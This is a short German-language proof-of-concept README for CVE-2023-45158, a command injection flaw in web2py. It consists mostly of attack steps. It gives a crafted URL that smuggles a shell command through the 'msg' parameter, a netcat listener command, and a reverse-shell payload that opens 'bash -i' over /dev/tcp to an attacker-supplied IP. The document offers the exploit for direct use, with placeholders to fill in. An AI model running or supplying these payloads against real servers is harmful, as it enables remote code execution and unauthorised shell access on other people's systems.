
Proof-of-concept-Exploit für CVE-2023-45158, eine Command Injection-Schwachstelle in web2py. Demonstriert Remote Code Execution mittels präparierter HTTP-Anfragen, einschließlich Dateierstellung und Reverse-Shell-Payloads.
cd web2py
python3 web2py.py
http://<IP-ADDRESS>:8000/hack?msg=%27%3B<YOUR-COMMAND>%3B%27. Ersetze <IP-ADDRESS> und <YOUR-COMMAND> durch deine Werte.http://<IP-ADDRESS>:8000/hack?msg=%27%3Btouch%20hack%3B%27
Führe auf dem Angreifer-Rechner aus: nc -l 127.0.0.1 8080
Gehe zur URL http://<IP-ADDRESS>:8000/hack?msg=%27%3Bbash%20-i%20>%26/dev/tcp/<ATTACKER-IP>/8080%200>%26%201%3B%27. Ersetze <ATTACKER-IP>.